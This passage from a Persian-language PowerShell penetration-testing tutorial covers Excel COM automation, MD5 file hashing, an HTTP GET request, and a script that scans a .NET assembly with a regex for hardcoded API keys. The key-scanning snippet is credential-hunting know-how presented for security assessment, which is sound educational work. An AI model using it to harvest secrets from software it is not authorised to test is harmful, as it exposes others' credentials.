$sheet.Cells.Item(1,1) = "Name"
$sheet.Cells.Item(1,2) = "Age"
$sheet.Cells.Item(2,1) = "John Doe"
$sheet.Cells.Item(2,2) = 30
$excel.Visible = $true
```

در این مثال، ما از New-Object برای ایجاد یک نمونه جدید از شیء COM برنامه Excel استفاده می‌کنیم. سپس یک Workbook و worksheet جدید ایجاد می‌کنیم، مقادیر را در سلول‌ها تنظیم می‌کنیم و برنامه Excel را قابل مشاهده می‌کنیم. این به ما اجازه می‌دهد تا عملیات اکسل را خودکار کنیم و کارهایی مانند استخراج داده‌ها، دستکاری و گزارش دهی را انجام دهیم.

Using .NET for Cryptographic Operations

PowerShell همچنین می‌تواند از کلاس‌های Net. برای عملیات رمزنگاری مانند هش و رمزگذاری استفاده کند که معمولاً در تست‌نفوذ برای ایمن سازی داده‌ها یا آزمایش کنترل‌های امنیتی استفاده می‌شود.

اجازه دهید از PowerShell و .NET برای محاسبه هش MD5 یک فایل استفاده کنیم:

```
$filePath = "C:\MyData\file.txt"
$md5 = New-Object -TypeName System.Security.Cryptography.
MD5CryptoServiceProvider
$fileStream = [System.IO.File]::OpenRead($filePath)
$hash = $md5.ComputeHash($fileStream)
$fileStream.Close()
$hashString = [System.BitConverter]::ToString($hash) -replace "-", ""
Write-Host "MD5 Hash: $hashString"
```

در این مثال، ما از کلاس System.Security.Cryptography.MD5CryptoServiceProvider.NET برای محاسبه هش MD5 یک فایل استفاده می‌کنیم. ما فایل را در حالت باینری باز می‌کنیم، هش را محاسبه می‌کنیم و بایت‌های هش را به نمایش رشته هگزادسیمال تبدیل می‌کنیم.

Using .NET for Network Operations

PowerShell می‌تواند از کلاس‌های .NET برای عملیات‌های مرتبط با شبکه استفاده کند، که در تست‌نفوذ برای کارهایی مانند ارسال درخواست‌های HTTP، تجزیه پاسخ‌ها و تعامل با سرویس‌های وب مفید است. بیایید از PowerShell و .NET برای درخواست HTTP GET و پردازش پاسخ استفاده کنیم:

```
$url = "https://api.snowcapcyber.com/data"
$request = [System.Net.WebRequest]::Create($url)
$response = $request.GetResponse()
$stream = $response.GetResponseStream()
$reader = New-Object -TypeName System.IO.StreamReader -ArgumentList
$stream
$responseText = $reader.ReadToEnd()
$reader.Close()
$response.Close()
Write-Host "Response Body:"
Write-Host $responseText
```

در این مثال، ما از کلاس‌های System.Net.WebRequest و System.IO.StreamReader.NET برای درخواست HTTP GET به URL مشخص شده استفاده می‌کنیم. سپس محتوای پاسخ را می‌خوانیم و نمایش می‌دهیم.

Analyzing .NET Assemblies for Vulnerabilities

از PowerShell می‌توان برای تجزیه و تحلیل مجموعه‌های NET برای آسیب‌پذیری‌های احتمالی یا کدهای مخرب استفاده کرد. برای مثال، تست نفوذگر می‌تواند مجموعه‌ها را برای یافتن کلیدهای حساس API یا اعتبارنامه هاردکد شده اسکن کند. بیایید از PowerShell برای استخراج رشته‌ها از مجموعه .NET و جستجوی اطلاعات بالقوه حساس استفاده کنیم:

```
$assemblyPath = "C:\MyData\Assembly.dll"
$strings = [System.IO.File]::ReadAllText($assemblyPath)
# Search for potential sensitive information
$apiKeyPattern = "API_KEY=[A-Za-z0-9]+"
$matches = [System.Text.RegularExpressions.Regex]::Matches($strings,
$apiKeyPattern)
Write-Host "Potential API Keys found:"
foreach ($match in $matches) {
    Write-Host $match.Value }
```

در این مثال، کل مجموعه .NET را به صورت متن با استفاده از [System.IO.File]::ReadAllText می‌خوانیم. سپس از عبارات منظم برای جستجوی کلیدهای API بالقوه در اسمبلی استفاده می‌کنیم.

PowerShell یک ابزار ارزشمند برای پردازش COM، WMI و .NET در تست‌نفوذ است. توانایی آن در تعامل با اشیاء COM، پرس و جو از داده‌های WMI، استفاده از مجموعه‌های .NET و انجام وظایف مختلف با عملکرد .NET ، طیف گسترده‌ای از قابلیت‌ها را برای شناسایی آسیب‌پذیری‌ها و نقاط ضعف در سیستم‌های هدف به تست نفوذگران ارائه می‌دهد.

از جمع آوری اطلاعات سیستم و شبکه با استفاده از WMI و خودکارسازی وظایف با اشیاء COM گرفته تا استفاده از .NET. برای عملیات رمزنگاری و وظایف مرتبط با شبکه، PowerShell یک زبان برنامه نویسی همه کاره است که تست نفوذگران را برای انجام ارزیابی‌های امنیتی جامع و شناسایی خطرات امنیتی بالقوه قدرتمند می‌کند. درک نحوه استفاده موثر از PowerShell برای عملیات COM، WMI، و .NET.، کیت ابزار تست نفوذگر را بهبود می‌بخشد و امکان کارایی بیشتر در برابر حملات دنیای واقعی را فراهم می‌کند.